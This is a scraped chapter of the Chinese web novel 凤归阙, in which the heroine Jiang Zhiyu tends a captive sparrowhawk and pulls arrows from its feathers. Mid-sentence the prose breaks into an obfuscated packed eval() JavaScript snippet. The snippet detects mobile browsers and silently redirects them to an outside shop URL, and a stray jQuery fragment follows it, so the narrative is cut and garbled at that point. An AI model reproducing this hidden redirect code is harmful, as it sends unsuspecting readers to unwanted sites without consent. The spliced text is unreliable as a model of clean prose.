文趣网 > 其他小说 > 凤归阙 > 123. 困住的鹞鹰
    “咯吱”,门打开了。

    江稚鱼带着好些书走进房间里,并将其放在桌上。

    “别着急,等事情解决之后,你就能回家了。”江稚鱼转身,目光落在“克克”直叫的鹞鹰身上。

    这些天好吃好喝的,倒还把它养胖了些。

    鹞鹰上下跳了下,又扇动着翅膀在笼子飞,飞了一圈,又落回原地。

    “你想出去?”江稚鱼蹲下身,与鹞鹰平视着。

    那圆溜溜的眼睛看向江稚鱼,脑袋整个往左边转去。

    这是不打算理她了?

    但江稚鱼没动,像是和它犟上了。

    好一会儿,鹞鹰的头才转过来。

    “克!克!”鹞鹰用翅膀拍了拍笼子的门锁。

    快开门!

    “我可以开门,但你不能立刻飞走,你得飞回来。”江稚鱼拍了下鹞鹰,说清楚自己的要求。

    怕鹞鹰不能完全理解,她还伸出手,做了一遍手势。

    “如果你飞的距离太远,就会有神射手把你射下来的。”江稚鱼微蹙起眉,对鹞鹰的小命有一点担忧。

    为了看着鹞鹰,她大哥还专门派了个神射手来。

    只要鹞鹰有半点想跑的想法,那神射手就会出手。

    到时候,就真的是生死不论了。

    鹞鹰愣了一下,往后退了两步,委屈地叫了两声。

    体型有点大的鹞鹰缩在一起,颇有种又可怜又好笑的感觉。

    但这也没办法,她也不能做拖后腿的那个。

    “我就在这里,神射手不会随意出手的。”江稚鱼向前一步,戳了戳鹞鹰。

    很厚实的毛发,软软的。

    鹞鹰低头看着江稚鱼的动作,又抬起头,“唧!”

    这是答应了?

    “我给你开门,记住,别飞太远。”江稚鱼最后摸了两下,才打开门。

    唰一下,鹞鹰就如同一道闪电般飞了出去。

    江稚鱼望了一眼,就坐在旁边的凳子上看医术。

    说是医书,里面却记着各种各样的毒药。

    在大祁,因着沈时雍的关系,她看了不少的医书;在大晟,因着她娘的关系,她也看了不少医书。

    而现在的她对于手上的医书,却是觉得有趣极了。

    这几本书都是大哥送来的,说是异族那边的人送来的,有许多较为少见的毒药。

    连毒药方子里面用的东西,都不是寻常断魂草、鹤顶红之流。

    若是中了这毒,想弄出个解药来,倒是有些麻烦。

    “哗啦。”江稚鱼翻看着医术,紧绷着一张脸,心中对这些毒药又惊又喜。

    目光沉沉,紧紧落在书页上。

    手握炭笔,在另一侧的纸张上写下自己的想法。

    她已将自己的全身心投入到医书中,周围发生的一切都已无法打扰到她。

    就算是扑棱着翅膀,飞到她脚边的鹞鹰都无法吸引她的注意力。

    鹞鹰昂起头,用翅膀拍打了几下江稚鱼。

    脚边的异动并未让江稚鱼有太大的反应,她只是侧过身去。

    完全不理鸟啊!

    鹞鹰的爪子在地上哒来哒去的,翅膀也扇得呼啦啦地响。

    声音嘈杂地连门外的侍卫都瞧了一眼,但江稚鱼没有多余的动静。

    鹞鹰沉默了几息,眼睛转了转,似是下定了决心。

    “哗。”鹞鹰扬起翅膀,直接起飞,在桌子上空盘旋着。

    翅膀扇动带起的大风成功把医书扇得面目全非,就连江稚鱼正在写的纸张都差点飞走。

    沉浸在医书中的江稚鱼被强行终止,微微怒意染上她的眉梢。

    “你在干什么?”江稚鱼一个俯身按住所有的医书,又伸出手抓向鹞鹰。

    鹞鹰瞧见那手,正想往上飞去,翅膀却被插进去的弓箭卡住。

    就它停顿的那一息,江稚鱼牢牢地抓住它的爪子。

    抓得很紧,让鹞鹰没有半分飞离的可能。

    “克!克!”鹞鹰垂下头,声音都小了一点。

    此时的江稚鱼也正好看见鹞鹰身上插着的几根弓箭,横七竖八的,正正好卡在里面。

    这鹞鹰应该在试探是不是真有神射手,但试了一次又一次,差一点把自己射成筛子。

    但她没闻到血腥味,应该没真的受伤。

    不过这鹞鹰身上都插成这样子了,还要在这儿飞来飞去,生怕这弓箭不会像上次一样插进它身体里?

    江稚鱼先是把医书都收拢到一边去,再冷着脸说道:“你下来,我把你身上的箭取下来。”

    再多飞一会儿,等会儿就要痛得惨叫了。

    许是能感觉到江稚鱼不会打它,它才缓缓落在桌上。

    庞大的身躯显得桌子小极了,那提前收拢到旁边的医书更是岌岌可危,仿佛只要鹞鹰多动弹几下,整张桌子都会倒下。

    江稚鱼看了眼医书,又特意把医书放在旁边的凳子。

    提前放在这儿,总好过鹞鹰突如其来的一脚,直接把医书踢飞出去。

    她站起身,绕着鹞鹰的身体看了个遍。

    嗯,确实是没有受伤的地方。

    只是这些弓箭因鹞鹰频繁的动作已经勾到一起去了,不太能轻易就取出来。

    “你呀,射第一箭的时候就该回来了。”江稚鱼无奈地多戳了几下它的头。

    “克!”鹞鹰闭上眼睛,嘴里还要再反驳一下。

    这半倔强的样子,都快把江稚鱼整笑了,手上清理弓箭的动作都停下了,“你要是不服气,那我就把那人叫进来,让他帮你取这些箭。”

    她还能小心翼翼地清理这些弓箭,叫别人来,可就说不准了。

    那样的话,她还省事儿。

    说罢,江稚鱼转身就要走。

    “克!克!”鹞鹰立刻睁开眼睛,一边叫着,一边用头去挽留江稚鱼。

    若不是现在身体不允许,它都要直接倒在江稚鱼怀里了。

    江稚鱼顿了顿,没再往前走。

    只见那鹞鹰微垂着头,做足了挽留之态。

    好吧,这次就原谅它。

    “我给你弄身上的箭,你别乱动。”江稚鱼回头,又给鹞鹰清理着裹着羽毛的箭。

    “我知道不能让你飞到天上去,是苦了你。”

    她的动作很轻柔,尽量不让鹞鹰感觉到痛。

    “但现在情况不好,等过了这段日子,你就能回去了,到时候随便你飞到哪儿去。”

    江稚鱼絮絮叨叨的,说到最后的时候停了下,将取出的弓箭放在身后的凳子上,“以后就别来这儿了。”

    它是司岚的鹞鹰,它的行动就代表了司岚的意愿。

    太频繁地出现在这儿,对它不好。

    “你呢,是一只鸟,别想那么多。”

    尽管这不大可能。

    一只如此通人性的鸟,又怎么不会被委以重任呢?

    她半垂着眼,将一只只弓箭放在一起。

    银

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698570|208049||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    白色的箭头,上面还有几簇羽毛。

    缠得太紧,若不尽快取出,等它再多动弹几下,是真的会插进去的。

    “好了,已经全部取下来了。”

    江稚鱼用手指当梳子,帮鹞鹰梳理羽毛。

    许是太舒服,鹞鹰还咕噜咕噜地叫。

    好一会儿,羽毛被梳理齐整。

    江稚鱼松开手,将凳子上的弓箭抱了出去。

    临近的呼吸声忽然消失,桌上的鹞鹰顿时睁开眼睛,左右扭着脖子以保证不留一丝缝隙。

    锐利的眼睛在屋内扫视着,每一寸痕迹都看得清清楚楚。

    没人!屋里没人了!

    “唧—唧—”鹞鹰急切地叫着,想要把江稚鱼给叫出来。

    翅膀也已张开,随时准备飞出去找人。

    就在鹞鹰即将要起飞时,江稚鱼的身影终于出现!

    “你歇会儿吧,等会儿再出去。”江稚鱼一进门,就瞧见鹞鹰要冲出去的样子,无奈地说道。

    唉,一时半刻都闲不下来。

    但鸟要飞出去,她也拦不住啊。

    “就算你要出去,那也要记得别飞远了,万一真把你射伤了,就不好了。”实在没办法的江稚鱼只得多说几句。

    刚才只是警告一下,等会儿说不定就直接对着翅膀根下手。

    反正对那神射手而言,这事儿简单得很。

    但对鹞鹰来说,就不大好,平白受一份罪。

    鹞鹰望着走到眼前的,虽然皱着眉但它能感受到是在关心它的江稚鱼。

    歪着头,去看江稚鱼眼底的一丝感伤。

    “啪。”鹞鹰一下子倒在江稚鱼的怀里,但爪子还在原地。

    一个“庞然大物”突然砸向自己,虽说没有压上来全部的重量,但还挺瓷实的。

    江稚鱼一懵,不明白鹞鹰这是什么意思。

    难道是被她说伤心了?

    “只要你别乱飞,神射手就不会把你射伤的。”

    江稚鱼想抬起手摸一摸鹞鹰,“哗”的一声,翅膀就把她圈在里面了。

    这下手正好卡在鹞鹰的翅膀下面,她不好动弹了。

    说了半天,鹞鹰也不出声。

    江稚鱼摸不清鹞鹰现在的态度,便也不再说话。

    一人一鸟,人在地上,鸟在桌上。

    但都不说话,屋内只能听到风吹过的沙沙声。

    “克!”鹞鹰直起身,点了点头。

    江稚鱼刚开始还没反应过来,直到鹞鹰再叫了一声,她才试探性地问道:“你答应了?”

    该不会是点头答应她刚才说的话?

    江稚鱼皱起眉,想了想刚才自己说了哪些话。

    “唧—”鹞鹰抬起头,又叫了一声,随即一下子就飞到了笼子里去。

    嚯,这鸟真是成精了,还知道自己把门带上。

    江稚鱼压住心中的讶异,走上前,“你可以待在笼子外面,只要不乱跑就行。”

    鹞鹰不喜欢笼子,在它住在笼子的第一天就直接去咬笼子就能看出来。

    但现在,竟然主动飞进笼子里!

    “你啊,乖一阵,闹一阵的。”江稚鱼打开门,朝着鹞鹰伸出手,“走吧,我带你出去再飞一会儿。”

    多飞会儿就飞吧,她书也不看了,就在下面看着鹞鹰飞。

    刺眼的阳光被江稚鱼挡住大半,让人只能看着一脸浅笑的她。

    “克!”鹞鹰高亢地叫了一声,猛地飞进江稚鱼的怀里。